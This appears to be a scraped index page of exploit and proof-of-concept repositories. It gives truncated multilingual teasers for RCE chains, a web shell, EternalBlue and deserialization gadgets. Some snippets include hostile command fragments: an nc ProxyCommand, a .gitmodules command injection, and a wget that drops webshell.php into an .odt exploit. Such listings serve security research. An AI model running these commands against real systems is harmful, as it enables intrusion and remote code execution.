CVE-2023-46604-Analysis

CVE-2023-46604 分析 这是一个整理 Apache ActiveMQ CVE-2023-46604 的原因、代码路径、补丁要点和复现结果的技术分析仓库。 本文档是对公开漏洞 CVE-2023-46604 的技术分析及防御视角的学习资料。 所有实验仅在经批准的封闭测试环境中进行，对未授权系统的应用或复现可能违法。 本文档的内容仅供漏洞理解、补丁验证、检测及响应能力提升之目的。 Overview CVE-2023-46604 是 Apache ActiveMQ 在 OpenWire 反序列化处理过程中发生的远程代码执行漏洞。核心问题在于...

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE の double-free → リモートコード実行 Rocky Linux 8.10、aarch64、Redis 8.6.2、jemalloc 5.3.0 で検証済み。 リファレンス: https://www.zeroday.cloud/blog/redis-cve-2026-25243-deep-dive TLDR; 安定したエクスプロイトで、さまざまな OS ディストリビューションとアーキテクチャで動作します。 エグゼクティブサマリー これは何か？ Redis におけるメモリ破損の脆弱性で、認証済みの攻撃者が Redis...

CVE-2026-33454

camel-mail 헤더 인젝션 → RCE 취약점 재현기 CVE-2026-33454 이 프로젝트는 Apache Camel의 camel-mail 컴포넌트에서 발견된 Camel 메시지 헤더 인젝션CVE-2026-33454 취약점을 시연합니다. 공격자는 Camel 메일 컨슈머가 모니터링하는 메일함으로 이메일을 전송하여 Camel 제어 헤더를 Exchange에 주입할 수 있으며, 라우트가 camel-exec와 같은 헤더 민감 프로듀서로 전달될 때 원격 코드 실행 을 달성할 수 있습니다. 권고:...

cve-2026-21858

CVE-2026-21858 + CVE-2025-68613 - n8n 전체 체인 인증되지 않은 임의 파일 읽기 → 관리자 토큰 위조 → 샌드박스 우회 → RCE...

CVE-2026-0740

CVE-2026-0740 Ninja Forms File Uploads = 3.3.26 - 인증되지 않은 임의 파일 업로드를 통한 원격 코드 실행 RCE CVE-2026-0740에 대한 익스플로잇, 발견자: Selim Lanouar whattheslime. 완전한 기술적 심층 분석은 Lexfo 블로그의 전체 기사를 참조하십시오. Disclaimer 이 저장소는 연구 및 방어적 보안 목적으로만 제공됩니다. 저자는 이 정보의 오용에 대해 책임을 지지 않습니다. Overview WordPress용 Ninja Forms - File...

POC-CVE-2025-55182

CVE-2025-55182 Scanner Avancé Un utilitaire d'exploitation complet pour CVE-2025-55182 — Exécution de code à distance via les composants serveur React dans Next.js. Le scanner crée automatiquement la charge utile multipart et abuse de process.mainModule.require'childprocess'.execSync pour exécute...

proofpoint-CVE-2023-0090

Описание Исследователь безопасности: ly1g3, ly1g3attuta.io GPG отпечаток: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 Обзор: Удаленное выполнение кода - RCE без аутентификации CVE: CVE-2023-0090 Хронология: Обнаружено - ly1g3 Сообщено - ly1g3 Исправлено...

CVE-2023-51385_test

Validation de CVE-2023-51385 Tout d'abord, ajoutez ce qui suit dans /.ssh/config root@kitploit: Host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Il existe une injection de commande dans la déclaration du fichier .gitmodules root@kitploit: url = ssh://echo helloworld...

log4shell-test-exploit

Тестовый эксплойт CVE-2021-44228 log4shell Подготовка root@kitploit: Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git...

CVE-2026-52806

Gogs RCE — Injection d'argument dans git rebase CWE-88 Exécution de code à distance authentifiée contre Gogs est interprétée par Git comme le drapeau --exec plutôt qu'un argument positionnel, ce qui entraîne l'exécution de sh -c après chaque commit rejoué pendant le rebase. Comment l'exploit...

Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class...

pinky

वेब शेल अपलोड करना वेब भेद्यता का शोषण करने के बाद लगभग हमेशा अगला कदम होता है, लेकिन Cloudflare जैसी सेवाएं और अगली पीढ़ी के फायरवॉल HTTP या HTTPS के माध्यम से लक्ष्य पर कमांड चलाने से हमलावरों को रोकने में बहुत अच्छा काम करते हैं। दूसरी ओर, टेक्स्ट सामग्री फ़िल्टरिंग और व्हाइटलिस्टिंग एप्लिकेशन...

cve-2017-0143

CVE-2017-0143 - EternalBlue 취약점 공격 📌 설명 이 프로젝트는 교육 및 침투 테스트 목적으로 통제된 환경에서 CVE-2017-0143 취약점EternalBlue을 악용하는 방법을 보여줍니다. 공격은 Metasploit Framework를 사용하여 Windows 7 시스템에서 수행되었습니다. 🔍 CVE-2017-0143 정보 CVE-2017-0143은 Windows 시스템의 SMBv1 프로토콜에 존재하는 심각한 취약점입니다. 특수하게 조작된 패킷을 통해 원격 공격자가 임의 코드를 실행할 수 있으며, 이는 ...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE 及加载外部资源，由 @Icare1337 发现 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 漏洞利用 仅为在当前目录放置 web shell 的示例。 root@kitploit: python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'...

watchTowr-vs-WatchGuard-CVE-2025-9242

watchTowr-vs-WatchGuard-CVE-2025-9242 Generador de artefactos de detección para WatchGuard CVE-2025-9242 https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f Consulta nuestra entrada de blog para obtener detalles técnicos Detección en acción root@kitploit: python...

CVE-2026-7393-RCE

Pizzafy Ecommerce System 1.0: la carga de archivos sin restricciones en savemenu conduce a la ejecución remota de código Detalles...

EXPLOIT-CVE-2026-40901

DataEase — RCE sin autenticación mediante una cadena de 4 vulnerabilidades CVE-2026-40901 y otras Bypass de autenticación → bypass de la lista negra de JDBC lectura arbitraria de archivos → inyección SQL → Deserialización de Java en Quartz → ejecución remota de código comoroot. Laboratorio local...

Inject-PHP-to-JPG-Using-Jhead

Inyectar-PHP-en-JPG-usando-Jhead $ pkg install vim o apt-get install vim $ pkg install jhead o apt-get install jhead $ jhead -h para ayuda $ jhead -purejpg tusarchivos.jpg $ jhead -ce tusarchivos.jpg Pulsa ESC y escribe :x para guardar $ jhead tusarchivos.jpg Ejemplo:...

CVE-2026-10795-Lab

CVE Lab: CVE-2026-10795 - Omisión de Autenticación RPC de UpdraftCentral en UpdraftPlus Encadenada a la Instalación de Plugins Resumen Ejecutivo Este repositorio contiene un laboratorio Docker local para reproducir y validar CVE-2026-10795, una vulnerabilidad de omisión de autenticación no...

CVE-2025-25257

CVE-2025-25257 由watchtowr及其他人在github上发布的针对CVE-2025-25257的漏洞利用代码，在我从官方供应商网站下载的fortiweb安装版本上无法工作。我从这些漏洞利用代码中提取了一些代码，制作了一个能够在我的环境中弹出反向shell的POC。反向shell的IP地址和端口是硬编码的，当然需要更改。 漏洞分析及逐步演示已在我在YouTube频道的两个视频中描述（意大利语，英文字幕）： 第1部分：https://youtu.be/Z6I4adGuJ1c 第2部分：https://youtu.be/Z6I4adGuJ1c...